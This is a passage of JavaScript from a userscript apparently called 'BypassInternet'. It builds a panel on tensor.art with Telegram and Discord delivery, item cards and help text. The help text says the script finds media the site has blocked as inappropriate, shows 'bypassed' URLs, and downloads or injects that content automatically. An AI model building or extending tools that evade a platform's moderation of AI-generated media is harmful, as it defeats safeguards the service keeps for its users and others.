    `;
    info.innerHTML = '<strong style="color:' + colors.text + '"><i class="fas fa-circle-info"></i> Shared across all platforms</strong><br>These values are global. Set once and they work on Tensor, Pixverse, and Digen.';
    section.content.appendChild(info);

    const mkToggle = (id, labelText) => {
      const row = document.createElement('label');
      row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:13px; color:' + colors.text + ';';
      const input = document.createElement('input');
      input.type = 'checkbox';
      input.className = 'bypass-checkbox';
      input.checked = !!settings[id];
      input.onchange = () => {
        settings[id] = input.checked;
        saveSettings();
        updateUI();
      };
      row.appendChild(input);
      row.appendChild(document.createTextNode(labelText));
      return row;
    };

    section.content.appendChild(mkToggle('telegramEnabled', 'Enable Telegram'));

    if (settings.telegramEnabled) {
      const tgTokenInput = document.createElement('input');
      tgTokenInput.type = 'password';
      tgTokenInput.placeholder = 'Telegram bot token';
      tgTokenInput.value = settings.telegramToken || '';
      tgTokenInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
      tgTokenInput.onchange = () => {
        settings.telegramToken = String(tgTokenInput.value || '').trim();
        saveSettings();
      };
      section.content.appendChild(tgTokenInput);

      const chatInput = document.createElement('input');
      chatInput.type = 'text';
      chatInput.placeholder = 'Telegram chat id (auto-filled after /access)';
      chatInput.value = settings.telegramChatId || '';
      chatInput.disabled = !!settings.telegramChatId;
      chatInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; ${settings.telegramChatId ? 'opacity:.75;cursor:not-allowed;' : ''}`;
      chatInput.onchange = () => {
        if (settings.telegramChatId) return;
        settings.telegramChatId = String(chatInput.value || '').trim();
        saveSettings();
      };
      section.content.appendChild(chatInput);

      const tgStatus = document.createElement('div');
      tgStatus.style.cssText = `margin-top:8px; padding:8px 10px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
      tgStatus.textContent = settings.telegramChatId
        ? `Telegram configured (Chat ID: ${settings.telegramChatId})`
        : 'Send /access to your bot chat, then click Initialize Telegram.';
      section.content.appendChild(tgStatus);

      const tgBtns = document.createElement('div');
      tgBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:8px;';

      const initBtn = document.createElement('button');
      initBtn.className = 'bypass-btn bypass-btn-primary';
      initBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
      initBtn.innerHTML = '<i class="fab fa-telegram"></i> Initialize Telegram';
      initBtn.onclick = async () => {
        const botToken = String(settings.telegramToken || '').trim();
        if (!botToken) {
          tgStatus.textContent = 'Please enter Bot Token first.';
          showToast('Telegram bot token is required', 'error');
          return;
        }

        initBtn.disabled = true;
        tgStatus.textContent = '⏳ Waiting for /access...';
        try {
          let chatId = null;
          let attempts = 0;
          while (!chatId && attempts < 60) {
            const response = await fetch(`https://api.telegram.org/bot${botToken}/getUpdates`);
            const data = await response.json();
            const updates = Array.isArray(data?.result) ? data.result : [];
            for (let i = updates.length - 1; i >= 0; i--) {
              const update = updates[i];
              const msg = update?.message;
              const text = typeof msg?.text === 'string' ? msg.text.trim() : '';
              if (text === '/access' && msg?.chat?.id) {
                chatId = String(msg.chat.id);
                break;
              }
            }
            if (!chatId) {
              await new Promise(r => setTimeout(r, 1000));
              attempts++;
            }
          }

          if (chatId) {
            settings.telegramChatId = chatId;
            saveSettings();
            tgStatus.textContent = `Success. Chat ID: ${chatId}`;
            showToast('Telegram initialized successfully', 'success');
            updateUI();
          } else {
            tgStatus.textContent = 'Timeout: No /access found. Send /access then try again.';
            showToast('No /access command found yet', 'warning');
          }
        } catch (err) {
          tgStatus.textContent = `Error: ${err?.message || err}`;
          showToast('Telegram initialization failed', 'error');
        } finally {
          initBtn.disabled = false;
        }
      };
      tgBtns.appendChild(initBtn);

      if (settings.telegramChatId) {
        const removeBtn = document.createElement('button');
        removeBtn.className = 'bypass-btn bypass-btn-danger';
        removeBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
        removeBtn.innerHTML = '<i class="fas fa-trash"></i> Remove Chat ID';
        removeBtn.onclick = () => {
          settings.telegramChatId = '';
          saveSettings();
          showToast('Telegram chat id removed', 'success');
          updateUI();
        };
        tgBtns.appendChild(removeBtn);
      }
      section.content.appendChild(tgBtns);
    }

    const separator = document.createElement('div');
    separator.style.cssText = `height:1px; background:${colors.border}; margin:10px 0 8px;`;
    section.content.appendChild(separator);

    section.content.appendChild(mkToggle('discordEnabled', 'Enable Discord'));
    if (settings.discordEnabled) {
      const webhookInput = document.createElement('input');
      webhookInput.type = 'password';
      webhookInput.placeholder = 'https://discord.com/api/webhooks/...';
      webhookInput.value = settings.discordWebhook || '';
      webhookInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
      webhookInput.onchange = () => {
        settings.discordWebhook = String(webhookInput.value || '').trim();
        saveSettings();
      };
      section.content.appendChild(webhookInput);

      const help = document.createElement('div');
      help.style.cssText = `margin-top:8px; font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
      help.innerHTML = '<i class="fab fa-discord"></i> Create webhook in Discord Server Settings → Integrations → Webhooks.';
      section.content.appendChild(help);
    }

    return section;
  }

  function toggleExpand() {
    isExpanded = !isExpanded;
    if (IS_TENSOR_DOMAIN) {
      // When opening, fetch immediately so Services/updates reflect the latest remote JSON.
      fetchRemoteConfigWithOptions({ force: true, reason: isExpanded ? 'panel-open' : 'panel-close' });
      startRemoteConfigWatcher();
    }
    updateUI();
  }

  function createCollapsedButton() {
    // Check if button already exists from early injection
    let btn = document.querySelector('.bypass-collapsed-btn');
    if (btn) {
      // Update existing button with items
      updateCollapseBtnWithItems();
      applyUpdateStateToCollapsedButton(btn);
      applyIconFallback(btn);
      return btn;
    }

    // Fallback: create new button if early injection failed
    btn = document.createElement('button');
    btn.className = 'bypass-collapsed-btn';
    btn.innerHTML = '<i class="fas fa-shield-alt"></i> <span>Bypass</span>';
    btn.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      toggleExpand();
    };

    if (itemsData.length > 0) {
      const badge = document.createElement('div');
      badge.className = 'bypass-badge';
      badge.textContent = itemsData.length;
      btn.appendChild(badge);
    }

    if (!document.body) {
      if (!window.__bypassCollapseButtonRetryScheduled) {
        window.__bypassCollapseButtonRetryScheduled = true;
        const retry = () => {
          window.__bypassCollapseButtonRetryScheduled = false;
          updateUI();
        };
        if (document.readyState === 'loading') {
          document.addEventListener('DOMContentLoaded', retry, { once: true });
        } else {
          setTimeout(retry, 50);
        }
      }
      return null;
    }

    document.body.appendChild(btn);
    applyUpdateStateToCollapsedButton(btn);
    applyIconFallback(btn);
    return btn;
  }

  function createTabButton(label, tabName, isActive) {
    const btn = document.createElement('button');
    btn.className = `bypass-tab ${isActive ? 'active' : ''}`;
    btn.textContent = label;
    btn.onclick = () => {
      currentTab = tabName;
      if (IS_TENSOR_DOMAIN && tabName === 'services') {
        // Only Services needs an on-demand config refresh when switching tabs.
        fetchRemoteConfigWithOptions({ force: true, reason: `tab:${tabName}` });
        startRemoteConfigWatcher();
      }
      updateUI();
    };
    return btn;
  }

  function showAccountContextMenu(event, account) {
    event.preventDefault();
    event.stopPropagation();

    // Remove existing menu
    const existing = document.querySelector('.bypass-account-context-menu');
    if (existing) existing.remove();

    const menu = document.createElement('div');
    menu.className = 'bypass-account-context-menu';
    const menuBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-bg-primary') || '#0f172a' : '#0f172a';
    const menuBorder = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-stroke-secondary') || '#475569' : '#475569';
    menu.style.cssText = `
      position: fixed;
      left: ${event.clientX}px;
      top: ${event.clientY}px;
      background: ${menuBg};
      border: 1px solid ${menuBorder};
      border-radius: 8px;
      padding: 6px;
      z-index: 100000;
      box-shadow: 0 10px 25px rgba(0,0,0,0.5);
      min-width: 180px;
    `;

    const createMenuItem = (icon, label, onClick, danger = false) => {
      const item = document.createElement('button');
      item.className = 'bypass-btn bypass-btn-secondary';
      item.style.cssText = `
        width: 100%;
        justify-content: flex-start;
        padding: 10px 12px;
        font-size: 12px;
        gap: 10px;
        border-radius: 6px;
        ${danger ? 'color: #ef4444; border-color: #ef4444;' : ''}
      `;
      item.innerHTML = `<i class="fas fa-${icon}" style="width: 16px;"></i>${label}`;
      item.onclick = (e) => {
        e.stopPropagation();
        menu.remove();
        onClick();
      };
      return item;
    };

    menu.appendChild(createMenuItem('download', 'Export Account Data', () => {
      exportAccountData(account.token);
      alert(`Account data exported for ${account.nickname}`);
    }));

    if (settings.sharedNetworkEnabled) {
      menu.appendChild(createMenuItem('network-wired', 'Send Account Data to Shared Network', () => {
        if (!sharedNetIsConfigured()) {
          showToast('Shared Network is disabled or not configured', 'warning');
          return;
        }

        const targetUrl = settings.sharedNetworkMethod === 'ws'
          ? sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl)
          : sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);

        if (!sharedNetIsLocalhostUrl(targetUrl)) {
          showToast('For safety, account data can only be sent to a localhost Shared Network target.', 'warning');
          return;
        }

        showConfirmDialog(
          `Send account backup for ${account.nickname} to Shared Network (localhost only)?`,
          () => {
            const payload = buildAccountExportData(account.token);
            sharedNetSendRawPayloadNow(payload, 'account-context-menu', `account_${account.nickname || 'user'}`)
              .then(() => showToast('Shared Network: account data sent', 'success'))
              .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
          }
        );
      }));
    }

    menu.appendChild(createMenuItem('trash-alt', 'Remove Account Data', () => {
      showConfirmDialog(`Remove all data for ${account.nickname}? This cannot be undone.`, () => {
        removeAccountData(account.token);
        updateUI();
      });
    }, true));

    document.body.appendChild(menu);

    // Close on click outside
    const closeHandler = (e) => {
      if (!menu.contains(e.target)) {
        menu.remove();
        document.removeEventListener('click', closeHandler);
      }
    };
    setTimeout(() => document.addEventListener('click', closeHandler), 0);
  }

  function createItemCard(item, options = {}) {
    const card = document.createElement('div');
    card.className = 'bypass-item-card';
    card.setAttribute('data-bypass-item-id', item.id);
    if (selectedItems.has(item.id)) {
      card.classList.add('selected');
    }

    const header = document.createElement('div');
    header.className = 'bypass-item-header';

    const id = document.createElement('div');
    id.className = 'bypass-item-id';
    id.textContent = item.id;

    const type = document.createElement('div');
    type.className = 'bypass-item-type';
    type.innerHTML = item.type === 'Video' ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image';

    header.appendChild(id);
    header.appendChild(type);
    card.appendChild(header);

    // ── Expired task banner ────────────────────────────────────────────────
    // Show a non-removable warning if the task's expireAt has passed.
    const itemExpireTs = normalizeTimestamp(item.expiresAt || item.expireAt);
    const isTaskExpired = itemExpireTs && Date.now() > itemExpireTs;
    if (isTaskExpired) {
      const expiredBanner = document.createElement('div');
      expiredBanner.style.cssText = `
        background: rgba(239,68,68,.12); border: 1px solid rgba(239,68,68,.4);
        border-radius: 6px; padding: 7px 10px; margin-bottom: 6px;
        font-size: 11px; color: #fca5a5; display: flex; align-items: center; gap: 6px;
      `;
      expiredBanner.innerHTML = `<i class="fas fa-clock" style="color:#ef4444;"></i>
        <span><strong>Link expired</strong> — this task expired on ${new Date(itemExpireTs).toLocaleString()}. The signed URL can no longer be refreshed.</span>`;
      card.appendChild(expiredBanner);
    }
    const metadata = document.createElement('div');
    const metadataToggle = document.createElement('div');
    metadataToggle.style.cssText = 'display: flex; align-items: center; justify-content: space-between; padding: 6px; cursor: pointer; background: rgba(99, 102, 241, 0.05); border-radius: 4px; user-select: none;';
    metadataToggle.innerHTML = '<span style="font-size: 11px; font-weight: 600; color: #cbd5e1;"><i class="fas fa-chevron-down"></i> Task Info</span>';

    const metadataContent = document.createElement('div');
    metadataContent.style.cssText = 'display: none; flex-direction: column; gap: 4px; padding: 8px; background: rgba(99, 102, 241, 0.05); border-radius: 4px; font-size: 11px;';

    // Build full task info from itemMap
    const taskData = taskMap.get(item.taskId) || {};
    const getTaskInfo = () => {
      const meta = getItemMetaFromId(item.id);
      return {
        taskId: item.taskId || 'N/A',
        createdAt: item.createdAt,
        expiresAt: item.expiresAt,
        mimeType: item.mimeType,
        dimensions: item.width && item.height ? `${item.width} × ${item.height}px` : 'Unknown',
        seed: item.seed || 'N/A',
        downloadFileName: item.downloadFileName || 'N/A',
        workflowName: meta?.workflowTemplateInfo?.name || meta?.workflowInfo?.name || 'N/A',
        workflowId: meta?.workflowTemplateInfo?.workflowTemplateId || meta?.workflowInfo?.workflowId || 'N/A',
        templateInfo: meta?.workflowTemplateInfo || meta?.workflowInfo || {},
        ...taskData
      };
    };

    const buildTaskInfoFields = () => {
      metadataContent.innerHTML = '';
      const info = getTaskInfo();
      const addField = (icon, label, value, highlight = false) => {
        if (!value || value === 'N/A') return;
        const field = document.createElement('div');
        field.innerHTML = `<i class="fas fa-${icon}" style="margin-right: 6px; opacity: 0.7; width: 12px;"></i><strong>${label}:</strong> <span style="color: ${highlight ? '#10b981' : '#cbd5e1'}; word-break: break-word; ${highlight ? 'font-weight: 600;' : ''}">${escapeHtml(String(value))}</span>`;
        metadataContent.appendChild(field);
      };

      // Always show account owner so users know which account the item belongs to
      const ownerName = getTaskOwnerName(info.taskId);
      if (ownerName) {
        addField('user', 'Account Owner', ownerName, true);
      }

      addField('fingerprint', 'Task ID', info.taskId);
      addField('calendar-plus', 'Created', info.createdAt ? new Date(normalizeTimestamp(info.createdAt)).toLocaleString() : 'Unknown');
      addField('clock', 'Expires', info.expiresAt ? new Date(normalizeTimestamp(info.expiresAt)).toLocaleString() : 'Unknown');
      addField('image', 'Type', info.mimeType);
      addField('expand', 'Dimensions', info.dimensions);
      addField('dice', 'Seed', info.seed);
      addField('file', 'Filename', info.downloadFileName);
      addField('tools', 'Workflow', info.workflowName);
      addField('id-card', 'Workflow ID', info.workflowId);

      if (metadataContent.children.length === 0) {
        const noData = document.createElement('div');
        noData.style.cssText = 'color: #94a3b8; font-style: italic;';
        noData.textContent = 'No additional task info available';
        metadataContent.appendChild(noData);
      }
    };

    buildTaskInfoFields();

    let isExpanded = false;
    metadataToggle.onclick = (e) => {
      e.stopPropagation();
      isExpanded = !isExpanded;
      metadataContent.style.display = isExpanded ? 'flex' : 'none';
      metadataToggle.innerHTML = `<span style="font-size: 11px; font-weight: 600; color: #cbd5e1;"><i class="fas fa-chevron-${isExpanded ? 'up' : 'down'}"></i> Task Info</span>`;
    };

    metadata.appendChild(metadataToggle);
    metadata.appendChild(metadataContent);
    card.appendChild(metadata);

    if (settings.showBypassedLink) {
      const linkRow = document.createElement('div');
      linkRow.style.cssText = 'display:flex; flex-direction:column; gap:4px; padding:8px; background: rgba(15, 23, 42, 0.35); border-radius: 6px; font-size: 11px;';
      const title = document.createElement('div');
      title.innerHTML = '<i class="fas fa-link" style="margin-right:6px;opacity:0.7;"></i><strong>Bypassed URL</strong>';
      const value = document.createElement('div');
      value.style.cssText = "overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-family:'Courier New', monospace;font-size:11px;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;word-break:break-all;";
      value.textContent = 'Resolving...';
      linkRow.appendChild(title);
      linkRow.appendChild(value);
      card.appendChild(linkRow);

      (async () => {
        const url = await getPreviewUrlForItem(item);
        value.innerHTML = url
          ? `<a href="${escapeHtml(url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(url)}</a>`
          : 'Unavailable';
      })().catch(() => {
        value.textContent = 'Unavailable';
      });
    }

    const statusIcons = renderStatusIcons(item.id);
    if (statusIcons) {
      const statusRow = document.createElement('div');
      statusRow.style.cssText = 'display: flex; gap: 8px; align-items: center; font-size: 12px; color: #94a3b8;';
      statusRow.setAttribute('data-bypass-item-status', item.id);
      statusRow.innerHTML = `<span style="font-weight: 600;">Status:</span> ${statusIcons}`;
      card.appendChild(statusRow);
    }

    const isVideoItem = item.type === 'Video' || item.mimeType?.startsWith('video/');
    const allowPreview = options.allowPreview !== false;
    if (settings.preview && allowPreview) {
      const mediaWrap = document.createElement('div');
      mediaWrap.style.cssText = 'width: 100%; height: auto; max-height: 300px; border-radius: 10px; overflow: hidden; border: 1px solid rgba(148, 163, 184, 0.25); background: rgba(15, 23, 42, 0.45); display:flex; align-items:center; justify-content:center;';
      card.appendChild(mediaWrap);

      const loadCardPreview = async (force = false) => {
        const url = await getPreviewUrlForItem(item);
        if (!url) {
          mediaWrap.innerHTML = '<div class="bypass-item-loading"><i class="fas fa-triangle-exclamation"></i> Preview unavailable</div>';
          return;
        }
        mediaWrap.innerHTML = '';
        if (isVideoItem) {
          const video = document.createElement('video');
          video.controls = true;
          video.muted = false;
          video.playsInline = true;
          video.preload = 'metadata';
          video.style.cssText = 'width: 100%; height: auto; max-height: 300px; object-fit: contain; cursor: pointer;';
          video.onerror = () => {
            mediaWrap.innerHTML = '<div style="width:100%;height:100%;display:flex;align-items:center;justify-content:center;color:#cbd5e1;"><i class="fas fa-video"></i></div>';
          };
          video.src = url;
          video.load();
          mediaWrap.appendChild(video);
          return;
        }
        const img = document.createElement('img');
        img.className = 'bypass-item-preview';
        img.src = url;
        img.style.cssText = 'width: 100%; height: auto; max-height: 300px; object-fit: contain;';
        img.onerror = () => {
          mediaWrap.innerHTML = '<div style="width:100%;height:100%;display:flex;align-items:center;justify-content:center;color:#cbd5e1;"><i class="fas fa-image"></i></div>';
        };
        mediaWrap.appendChild(img);
      };

      registerForcePreviewLoader(item.id, loadCardPreview);
      loadCardPreview(false).catch(() => {
        mediaWrap.innerHTML = '<div class="bypass-item-loading"><i class="fas fa-triangle-exclamation"></i> Preview unavailable</div>';
      });
    } else if (settings.preview && isVideoItem) {
      const deferred = document.createElement('div');
      deferred.className = 'bypass-item-loading';
      deferred.innerHTML = '<i class="fas fa-video"></i> Video preview deferred';
      card.appendChild(deferred);
    }

    // Action buttons container
    const buttonsContainer = document.createElement('div');
    buttonsContainer.className = 'bypass-item-buttons';

    const downloadBtn = document.createElement('button');
    downloadBtn.className = 'bypass-item-button bypass-item-button-download';
    downloadBtn.innerHTML = '<i class="fas fa-download"></i> Download';
    downloadBtn.onclick = async () => {
      try {
        await downloadMediaById(item.id, item.mimeType);
      } catch (err) {
        updateMediaStatus(item.id, { downloadError: true, lastError: err.message || 'Download failed' });
        alert(`Error: ${err.message}`);
      }
    };
    buttonsContainer.appendChild(downloadBtn);

    if (settings.telegramEnabled && settings.telegramChatId) {
      const telegramBtn = document.createElement('button');
      telegramBtn.className = 'bypass-item-button bypass-item-button-telegram';
      telegramBtn.title = 'Send to Telegram';
      telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Send';
      telegramBtn.onclick = async () => {
        try {
          const meta = getItemMetaFromId(item.id) || {};
          const url = await ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || '');
          if (url) {
            const result = await sendToTelegram(url, item.mimeType, item.taskId, item.createdAt, `${item.width}x${item.height}`, item.id, {
              workspaceType: meta.workspaceType,
              templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
              templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
            });
            if (result?.ok) {
              alert(result.mode === 'url' ? 'URL sent to Telegram.' : 'Sent to Telegram.');
            } else {
              updateMediaStatus(item.id, { telegramError: true, lastError: result?.error || 'Telegram send failed' });
              alert(`Failed to send: ${result?.error || 'Unknown error'}`);
            }
          }
        } catch (err) {
          alert(`Error: ${err.message}`);
        }
      };
      buttonsContainer.appendChild(telegramBtn);
    }

    if (settings.discordEnabled && settings.discordWebhook) {
      const discordBtn = document.createElement('button');
      discordBtn.className = 'bypass-item-button bypass-item-button-telegram';
      discordBtn.title = 'Send to Discord';
      discordBtn.innerHTML = '<i class="fab fa-discord"></i> Send';
      discordBtn.onclick = async () => {
        try {
          const meta = getItemMetaFromId(item.id) || {};
          const url = await ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || '');
          if (url) {
            const result = await sendToDiscord(url, item.mimeType, item.taskId, item.createdAt, `${item.width}x${item.height}`, item.id, {
              workspaceType: meta.workspaceType,
              templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
              templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
            });
            if (result?.ok) {
              alert(result.mode === 'url' ? 'URL sent to Discord.' : 'Sent to Discord.');
            } else {
              updateMediaStatus(item.id, { discordError: true, lastError: result?.error || 'Discord send failed' });
              alert(`Failed to send: ${result?.error || 'Unknown error'}`);
            }
          }
        } catch (err) {
          alert(`Error: ${err.message}`);
        }
      };
      buttonsContainer.appendChild(discordBtn);
    }

    if (settings.sharedNetworkEnabled) {
      const sharedBtn = document.createElement('button');
      sharedBtn.className = 'bypass-item-button bypass-item-button-download';
      sharedBtn.title = 'Send to Shared Network';
      sharedBtn.innerHTML = '<i class="fas fa-network-wired"></i> Share';
      sharedBtn.onclick = async () => {
        try {
          if (!sharedNetIsConfigured()) {
            showToast('Shared Network is disabled or not configured', 'warning');
            return;
          }
          showToast('Sending to Shared Network…', 'info');
          await sharedNetSendItemsNow([item], 'item-card');
        } catch (err) {
          showToast(`Shared Network send failed: ${err.message}`, 'error');
        }
      };
      buttonsContainer.appendChild(sharedBtn);
    }

    card.appendChild(buttonsContainer);

    card.addEventListener('click', (e) => {
      if (e.target.closest('button')) return;
      if (selectedItems.size === 0) {
        (async () => {
          const url = await getPreviewUrlForItem(item);
          if (!url) return;
          openImageModal(url, item.taskId, item.createdAt, item.expiresAt, [], item.id, item.mimeType);
        })();
        return;
      }
      toggleItemSelected(item.id);
      refreshSelectionUI();
    });

    card.addEventListener('contextmenu', (e) => {
      e.preventDefault();
      showItemContextMenu(e.clientX, e.clientY, item);
    });

    return card;
  }

  function createHelpContent() {
    const helpContainer = document.createElement('div');
    helpContainer.style.cssText = `
      display: flex;
      flex-direction: column;
      gap: 0;
      padding: 0;
      overflow-y: auto;
      height: 100%;
    `;

    // Search bar at the top (sticky)
    const searchContainer = document.createElement('div');
    searchContainer.style.cssText = `
      position: sticky;
      top: 0;
      z-index: 10;
      background: ${settings.theme === 'dark' ? '#0f172a' : '#ffffff'};
      padding: 12px;
      border-bottom: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
    `;

    const searchInput = document.createElement('input');
    searchInput.type = 'text';
    searchInput.placeholder = 'Search help topics, features, settings...';
    searchInput.style.cssText = `
      width: 100%;
      padding: 10px 12px;
      border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
      border-radius: 8px;
      background: ${settings.theme === 'dark' ? '#1e293b' : '#f8fafc'};
      color: ${settings.theme === 'dark' ? '#e2e8f0' : '#0f172a'};
      font-size: 13px;
      outline: none;
      transition: all 0.3s;
    `;
    searchInput.onfocus = () => {
      searchInput.style.borderColor = '#6366f1';
      searchInput.style.boxShadow = '0 0 0 3px rgba(99, 102, 241, 0.1)';
    };
    searchInput.onblur = () => {
      searchInput.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
      searchInput.style.boxShadow = 'none';
    };

    searchContainer.appendChild(searchInput);
    helpContainer.appendChild(searchContainer);

    // Content area
    const contentArea = document.createElement('div');
    contentArea.style.cssText = 'padding: 12px; display: flex; flex-direction: column; gap: 16px;';

    const helpSections = [
      {
        title: 'Getting Started',
        icon: 'fa-compass',
        description: `<p><strong>BypassInternet</strong> watches tensor.art responses and finds blocked items automatically. Use the <strong>Bypass</strong> floating button to open the panel.</p>
<ul>
  <li>Use <strong>Items</strong> to view, download, and manage blocked content.</li>
  <li>Use <strong>Settings</strong> for quick toggles.</li>
  <li>Use <strong>Help</strong> for detailed tips and troubleshooting.</li>
</ul>`
      },
      {
        title: 'Auto-Check for Items',
        icon: 'fa-refresh',
        description: `<p>This feature automatically monitors tensor.art for new restricted content at regular intervals.</p>
<p><strong>Enabled:</strong> The tool checks every N seconds (see Check Interval). New blocked items are detected without manual action.</p>
<p><strong>Disabled:</strong> Items are detected only when you load or refresh pages manually.</p>
<p><strong>Impact:</strong> More frequent checks increase background requests. Use longer intervals if you want lower resource usage.</p>`
      },
      {
        title: 'Check Interval (Seconds)',
        icon: 'fa-clock',
        description: `<p>Controls how often Auto-Check runs (5–300 seconds).</p>
<p><strong>Lower values:</strong> Faster detection but more network usage.</p>
<p><strong>Higher values:</strong> Slower detection but lighter on device/network.</p>
<p><strong>Tip:</strong> 30–60 seconds is a good balance for most users.</p>`
      },
      {
        title: 'Preview Media',
        icon: 'fa-eye',
        description: `<p>Shows thumbnails or previews in the Items list.</p>
<p><strong>Enabled:</strong> You can see images/videos directly in the list (more data usage).</p>
<p><strong>Disabled:</strong> Faster list loading; thumbnails only appear when opened.</p>`
      },
      {
        title: 'Auto-Download on Detect',
        icon: 'fa-download',
        description: `<p>Automatically downloads blocked items when detected.</p>
<p><strong>Enabled:</strong> Hands‑free downloads; useful for batch discovery.</p>
<p><strong>Disabled:</strong> Manual control; you choose what to download.</p>`
      },
      {
        title: 'Auto-Expand on New Items',
        icon: 'fa-expand',
        description: `<p>Opens the floating window automatically when new blocked content is found.</p>
<p><strong>Enabled:</strong> You see new items immediately.</p>
<p><strong>Disabled:</strong> The panel stays hidden until you click it.</p>`
      },
      {
        title: 'Inject On DOM',
        icon: 'fa-code',
        description: `<p>Continuously scans the page DOM for blocked items and injects bypass content.</p>
<p><strong>Enabled:</strong> Works even as new items render on the page.</p>
<p><strong>Disabled:</strong> Only processes during API response updates.</p>
<p><strong>Tip:</strong> Enable if you want live page replacement of blocked previews.</p>`
      },
      {
        title: 'Inject Scope (Blocked or All)',
        icon: 'fa-filter',
        description: `<p>Choose whether Inject On DOM should run only on blocked covers or on all eligible task cards.</p>
<p><strong>Inject On Blocked Only = ON:</strong> Only cards showing <em>Inappropriate/Reviewing</em> cover are injected.</p>
<p><strong>Inject On Blocked Only = OFF:</strong> Keeps current all-task inject behavior.</p>
<p><strong>Always:</strong> “View - Bypass” button is hidden for tasks that do not have an Inappropriate cover.</p>`
      },
      {
        title: 'Tooltip & Help Overlays',
        icon: 'fa-comment-dots',
        description: `<p>Control how tooltips behave on injected items.</p>
    <p><strong>Show Blocked Media Tooltip:</strong> Adds metadata tooltips on injected blocked slots (not in the floating window).</p>
    <p><strong>Keep Last Tooltip Open:</strong> Pins the last tooltip until you scroll or hover another item.</p>
    <p><strong>View Media on Tooltip:</strong> Shows a small image/video preview in the tooltip.</p>
    <p><strong>Injected Buttons Help Tooltip:</strong> Explains injected buttons like “Send All tasks”.</p>`
      },
      {
        title: 'Download Preview',
        icon: 'fa-image',
        description: `<p>Shows the current download in the queue with a live preview and progress indicator.</p>
    <p><strong>Enabled:</strong> Displays preview in the header progress bar and in the Download/Sent tab.</p>
    <p><strong>Tip:</strong> Great for monitoring long batch downloads.</p>`
      },
      {
        title: 'Telegram Delay',
        icon: 'fa-stopwatch',
        description: `<p>Add a delay between Telegram sends to avoid rate limits.</p>
    <p><strong>Usage:</strong> Set delay in seconds (e.g., 1–3s) for heavy batches.</p>`
      },
      {
        title: 'Auto-Detect Blocked Tasks',
        icon: 'fa-magic',
        description: `<p>NEW: Monitors workflow task creation and automatically adds blocked content when generation completes.</p>
<p><strong>Enabled:</strong> No page refresh needed! Blocked items appear instantly after generation.</p>
<p><strong>Disabled:</strong> Manual detection only through API interception.</p>
<p><strong>Tip:</strong> Keep enabled for seamless workflow experience.</p>`
      },
      {
        title: 'Telegram Integration',
        icon: 'fa-telegram',
        description: `<p>Send bypassed media directly to your Telegram chat.</p>
<p><strong>Setup:</strong> Enter Bot Token and Chat ID in tensor.art/settings.</p>
<p><strong>Features:</strong> Batch sending, retry failed items, customizable metadata captions.</p>
<p><strong>Tip:</strong> Use "Send only blocked items" toggle for filtered sending.</p>`
      },
      {
        title: 'Discord Webhooks',
        icon: 'fa-discord',
        description: `<p>NEW: Post bypassed media to Discord channels via webhooks.</p>
<p><strong>Setup:</strong> Create a webhook in Discord Server Settings → Integrations, paste URL in settings.</p>
<p><strong>Features:</strong> Rich embeds with task metadata, automatic file uploads.</p>
<p><strong>Tip:</strong> Perfect for archiving or sharing with team.</p>`
      },
      {
        title: 'Enable URL Caching',
        icon: 'fa-database',
        description: `<p>Stores download URLs locally to speed up repeated access.</p>
<p><strong>Enabled:</strong> Faster repeat downloads, fewer network calls.</p>
<p><strong>Disabled:</strong> Always fetch fresh URLs from the server.</p>
<p><strong>Tip:</strong> Keep enabled unless you need maximum freshness.</p>`
      },
      {
        title: 'Cache Duration (Days)',
        icon: 'fa-hourglass',
        description: `<p>Controls how long cached URLs remain valid (1–30 days).</p>
<p><strong>Shorter:</strong> Fresher links, more requests.</p>
<p><strong>Longer:</strong> Fewer requests, slightly higher chance of stale links.</p>
<p><strong>Default:</strong> 7 days is a good balance.</p>`
      },
      {
        title: 'Theme',
        icon: 'fa-paint-brush',
        description: `<p>Switch between dark and light themes for the floating UI.</p>
<p><strong>Dark:</strong> Comfortable at night; slightly better on OLED battery.</p>
<p><strong>Light:</strong> Better in bright environments.</p>`
      },
      {
        title: 'If Items Keep Loading',
        icon: 'fa-life-ring',
        description: `<p>If the Items tab keeps showing “waiting”, try this:</p>
<ol>
  <li>Click <strong>Create</strong> in the site header.</li>
  <li>On the creation page, click the <strong>Reload</strong> icon.</li>
  <li>This triggers the API request the tool listens to.</li>
</ol>
<p>If still empty after 15 seconds, use <strong>Load from Cache</strong> (only works when caching is enabled).</p>`
      },
      {
        title: 'TensorHub Linker (NEW)',
